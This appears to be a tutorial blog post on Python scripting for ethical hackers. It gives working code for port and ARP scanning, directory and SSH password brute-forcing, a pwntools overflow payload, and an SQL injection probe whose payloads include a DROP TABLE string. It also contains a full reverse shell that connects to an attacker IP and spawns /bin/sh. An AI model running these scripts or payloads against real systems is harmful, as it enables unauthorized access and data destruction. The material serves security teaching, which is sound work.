Ethical Hacking #python#pentesting#scripting

Python for Ethical Hackers: Scripting Guide

Learn Python scripting for penetration testing — build port scanners, exploit helpers, and automation tools used by real security professionals.

7 min read

Python is the lingua franca of ethical hacking. Nearly every major security framework — Impacket, Scapy, sqlmap, Volatility, Pwntools — is written in Python. Learning Python with a security mindset means you can customize existing tools, automate repetitive tasks, prototype exploits, and understand how attack frameworks actually work under the hood. This guide covers the Python skills that matter most for penetration testers.

Setting Up Your Environment

Use Python 3.10+ and maintain a virtual environment for each project to avoid dependency conflicts:

python3 -m venv hacking-env
source hacking-env/bin/activate
pip install requests scapy pwntools impacket paramiko

Kali Linux ships with Python 3 pre-installed. Always prefer python3 explicitly over python to avoid ambiguity.

Working with Sockets: Building a Port Scanner

Understanding raw sockets is foundational. Here’s a simple TCP port scanner:

import socket
import concurrent.futures

def scan_port(host, port):
    try:
        with socket.create_connection((host, port), timeout=1) as sock:
            return port, True
    except (socket.timeout, ConnectionRefusedError, OSError):
        return port, False

def scan_host(host, ports):
    open_ports = []
    with concurrent.futures.ThreadPoolExecutor(max_workers=100) as executor:
        futures = {executor.submit(scan_port, host, p): p for p in ports}
        for future in concurrent.futures.as_completed(futures):
            port, is_open = future.result()
            if is_open:
                open_ports.append(port)
    return sorted(open_ports)

target = "192.168.1.1"
ports = range(1, 1025)
results = scan_host(target, ports)
print(f"Open ports on {target}: {results}")

This threaded scanner checks 100 ports concurrently. Nmap is far more powerful for real engagements, but writing this from scratch teaches you exactly how TCP connection-based port scanning works.

HTTP Requests with the requests Library

The requests library is the workhorse for web application testing automation.

import requests

session = requests.Session()
session.headers.update({"User-Agent": "Mozilla/5.0"})

# Login to a form
login_data = {"username": "admin", "password": "password123"}
r = session.post("http://target.com/login", data=login_data)

if "Welcome" in r.text:
    print("[+] Login successful")
    # Now make authenticated requests
    dashboard = session.get("http://target.com/dashboard")
    print(dashboard.text[:500])

Using a Session object automatically handles cookies, making it perfect for testing authenticated functionality.

Directory Brute-Forcing

import requests

wordlist = "/usr/share/wordlists/dirb/common.txt"
base_url = "http://target.com/"

with open(wordlist) as f:
    for line in f:
        path = line.strip()
        url = base_url + path
        r = requests.get(url, allow_redirects=False)
        if r.status_code not in (404, 403):
            print(f"[{r.status_code}] {url}")

This is essentially a stripped-down gobuster. Understanding it makes you a better user of the real tool.

Scapy: Packet Crafting and Sniffing

Scapy lets you build, send, and capture network packets at a very low level.

from scapy.all import *

# Craft an ICMP ping
packet = IP(dst="8.8.8.8") / ICMP()
response = sr1(packet, timeout=2, verbose=0)
if response:
    print(f"Host is up: {response.src}")

# ARP scan a subnet
ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst="192.168.1.0/24"),
             timeout=2, verbose=0)
for sent, received in ans:
    print(f"{received.psrc} - {received.hwsrc}")

Scapy is ideal for crafting malformed packets to test intrusion detection systems, building custom protocol implementations, and understanding network-layer attacks like ARP spoofing.

Paramiko: SSH Automation

Paramiko implements the SSH protocol in Python, enabling brute-force testing, automated command execution, and file transfer:

import paramiko

def try_ssh(host, port, username, password):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(host, port=port, username=username,
                       password=password, timeout=3)
        print(f"[+] SUCCESS: {username}:{password}")
        stdin, stdout, stderr = client.exec_command("id")
        print(stdout.read().decode())
        client.close()
        return True
    except paramiko.AuthenticationException:
        return False
    except Exception as e:
        print(f"Error: {e}")
        return False

# Only use against systems you own or have permission to test
try_ssh("192.168.1.100", 22, "root", "toor")

Pwntools: Binary Exploitation

Pwntools is the standard library for CTF binary exploitation challenges. It handles process interaction, remote connections, and architecture-specific utilities:

from pwn import *

# Connect to a remote service
conn = remote("challenge.ctf.com", 1337)

# Or interact with a local binary
p = process("./vuln_binary")

# Send and receive data
conn.recvuntil(b"Enter name: ")
conn.sendline(b"A" * 64 + p64(0xdeadbeef))  # Buffer overflow payload

# Cyclic patterns for offset finding
pattern = cyclic(200)
p.sendline(pattern)
p.wait()
core = p.corefile
offset = cyclic_find(core.read(core.sp, 4))
print(f"Offset: {offset}")

Pwntools reduces the boilerplate of exploit development to a few clean lines.

Automating Web Vulnerability Checks

import requests

def test_sqli(url, param):
    payloads = ["'", "' OR '1'='1", "'; DROP TABLE users;--", "' UNION SELECT NULL--"]
    for payload in payloads:
        r = requests.get(url, params={param: payload})
        errors = ["SQL syntax", "mysql_fetch", "ORA-01756", "sqlite3.OperationalError"]
        for error in errors:
            if error.lower() in r.text.lower():
                print(f"[!] Possible SQLi at {url}?{param}={payload}")
                print(f"    Error signature: {error}")

test_sqli("http://target.com/search", "q")

This is a simplified error-based SQL injection detector. Real tools like sqlmap do this far more thoroughly, but writing it yourself teaches you the detection logic.

Building a Reverse Shell

Understanding how reverse shells work is fundamental to understanding payloads:

import socket
import subprocess
import os

# Attacker's IP and port (run: nc -lvnp 4444 on attacker machine)
ATTACKER_IP = "10.10.10.1"
ATTACKER_PORT = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ATTACKER_IP, ATTACKER_PORT))
os.dup2(s.fileno(), 0)  # stdin
os.dup2(s.fileno(), 1)  # stdout
os.dup2(s.fileno(), 2)  # stderr
subprocess.call(["/bin/sh", "-i"])

Only deploy reverse shells against machines you own or are authorized to test.

Essential Libraries for Security Work

LibraryUse Case
requestsHTTP interaction, web testing
scapyPacket crafting, sniffing
paramikoSSH automation
pwntoolsBinary exploitation, CTFs
impacketWindows protocol implementations
cryptographyEncryption/decryption operations
beautifulsoup4HTML parsing for scrapers
clickBuilding CLI tools

Conclusion

Python won’t replace specialized tools like Nmap, Burp Suite, or Metasploit. What it will do is make you dangerous in the gaps — when no existing tool does exactly what you need, when you need to automate a repetitive task, or when you need to understand an attack deeply enough to modify an existing exploit. Invest in Python, and you’ll level up every other area of your security practice alongside it.

#automation #scripting #pentesting #python